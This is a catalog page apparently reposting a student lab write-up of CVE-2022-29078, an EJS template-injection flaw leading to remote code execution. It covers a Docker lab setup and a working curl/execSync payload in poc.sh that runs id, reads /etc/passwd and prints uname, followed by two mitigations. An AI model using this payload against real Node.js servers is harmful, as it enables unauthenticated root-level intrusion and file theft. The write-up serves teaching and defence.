Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-29078 | Kitploit
Инструменты/GitHubGitHub/taka3636/cve-2022-29078
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-29078 | EJS SSTI → RCE

White Hat School, 4-й набор (32 группа) — У Сан Бом (@taka3636)


Резюме

Уязвимость EJS < 3.1.7 — серверная инъекция шаблонов (SSTI) (CVE-2022-29078), позволяющая удалённо выполнять произвольные команды на сервере (RCE) без аутентификации. В этом документе с помощью Docker разворачивается уязвимое окружение, воспроизводится RCE через PoC и проверяются два способа защиты (обновление библиотеки · безопасная передача входных данных).


О EJS

EJS (Embedded JavaScript templates) — широко используемый шаблонизатор в экосистеме Node.js. Он позволяет встраивать JavaScript в HTML с помощью тегов <% %>, например <h1>Hello <%= id %></h1>, для создания динамических страниц. Внутри EJS компилирует строку шаблона в функцию JavaScript и затем выполняет её, формируя итоговый HTML. По сути это генератор кода, который превращает «текст (шаблон)» в «исполняемый код (функцию)», и именно это свойство лежит в основе данной уязвимости.


О CVE-2022-29078

EJS < 3.1.7 вставляет значение параметра рендеринга outputFunctionName в исходный код скомпилированной функции без проверки. Если приложение передаёт пользовательский ввод напрямую как опции рендеринга, злоумышленник может подменить этот параметр и выполнить произвольный код на сервере (RCE). Поскольку сервер можно полностью захватить удалённо без аутентификации, серьёзность очень высока.

  • Затронутая версия: EJS < 3.1.7
  • Тип: серверная инъекция шаблонов (SSTI) → удалённое выполнение кода
  • Ссылка: NVD CVE-2022-29078

Настройка окружения

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 바인딩(격리)
├── Dockerfile             # node:18.20.4 (버전 고정)
├── app/
│   ├── server.js          # 취약 Express 앱
│   ├── package.json       # ejs 3.1.6 정확 고정
│   └── views/page.ejs
├── poc.sh                 # PoC 실행 스크립트
└── 1.png ~ 8.png          # 스크린샷
  • Среда выполнения: Node.js 18.20.4 (зафиксирована)
  • Уязвимая библиотека: ejs 3.1.6 (зафиксирована точно, без символов диапазона — при использовании ^/~ будет установлена исправленная версия, и воспроизведение станет невозможным)
  • Веб-фреймворк: express 4.18.2
  • Без внешних пользовательских образов: всё разворачивается одной командой docker compose up -d --build.


Условия уязвимости

Атака возможна при одновременном выполнении двух условий.

  1. Дефект библиотеки: ejs < 3.1.7 вставляет outputFunctionName в код без проверки
  2. Небезопасное использование: приложение передаёт пользовательский ввод целиком как опции рендеринга
root@kitploit:~
// app/server.js — 취약 지점
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query 전체를 렌더 옵션으로 전달
});

В res.render('page', req.query) Express передаёт пользовательский ввод (req.query) в EJS целиком как опции рендеринга. При этом парсер qs преобразует запись с квадратными скобками вида settings[view options][outputFunctionName] во вложенный объект, и это значение попадает в опцию компиляции EJS outputFunctionName. Иными словами, код (функция), который пользователь «посадил» на место опции, прикрепляется к опции и передаётся в EJS. EJS вставляет это значение перед скомпилированной функцией следующим образом:

root@kitploit:~
var <outputFunctionName값> = __append;

При нормальном значении это безвредно, например var myOut = __append;, но если в значение добавить код через точку с запятой, разрывающую выражение, этот код выполнится при запуске скомпилированной функции. Подставив сюда execSync(...), можно прочитать определённые файлы или выполнить системные команды.


Порядок воспроизведения

Предварительные требования: установлены Docker и Docker Compose, при сборке требуется подключение к интернету.

root@kitploit:~
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps

# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC 실행
bash poc.sh

# 5) 정리
docker compose down


Код PoC

poc.sh — с помощью инъекции в опцию outputFunctionName выполняет на сервере три команды и забирает результат. [1] id (текущий пользователь), [2] /etc/passwd (чтение произвольного файла), [3] uname (место выполнения).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : обязателен, чтобы квадратные скобки в URL не интерпретировались как glob (иначе будет curl: (3) bad range).
  • Кодирование: пробел — %20, перенаправление > — %3E

Результаты выполнения

Результат выполнения poc.sh. Обычный запрос (id=world) возвращает только Hello world, но команда, внедрённая через инъекцию в outputFunctionName, выполняется на сервере, и её вывод перехватывается.

  • [1] id → uid=0(root) gid=0(root) : внедрённая команда выполняется с правами root.
  • [2] /etc/passwd → содержимое файла учётных записей системы возвращается как есть: можно читать произвольные файлы на сервере (нарушение конфиденциальности).
  • [3] uname → имя хоста — 326f6f1b04b3 (ID контейнера), отличается от имени хоста ВМ (ubuntu-QEMU-Virtual-Machine): это доказывает, что команда выполняется внутри контейнера, а не на хосте. То есть права root возникают не из-за sudo, а из-за процесса уязвимого сервера (node в контейнере = root по умолчанию).

Один удалённый запрос без аутентификации позволяет выполнять команды с правами root и читать произвольные файлы = CVE-2022-29078.


Меры противодействия

Мера 1 — обновление библиотеки (устранение первопричины)

Обновите ejs в package.json до версии 3.1.7 или выше. В 3.1.7+ значение outputFunctionName проверяется регулярным выражением /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, которое отклоняет не-идентификаторные символы, такие как точка с запятой, поэтому та же атака блокируется до выполнения кода.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Мера 2 — безопасная передача входных данных (защита приложения)

Даже с уязвимой версией (3.1.6), если не передавать пользовательский ввод целиком, а только необходимые значения, путь слияния settings[view options] исчезает, и подмена опций становится невозможной. Штатная функциональность сохраняется.

root@kitploit:~
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });

Рекомендация: применять обе меры — обновление библиотеки (устранение первопричины) и минимальную передачу пользовательских данных (эшелонированная защита). Дополнительно, запуск контейнера от не-root пользователя позволит уменьшить ущерб при RCE.


Ссылки

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
Скачать инструмент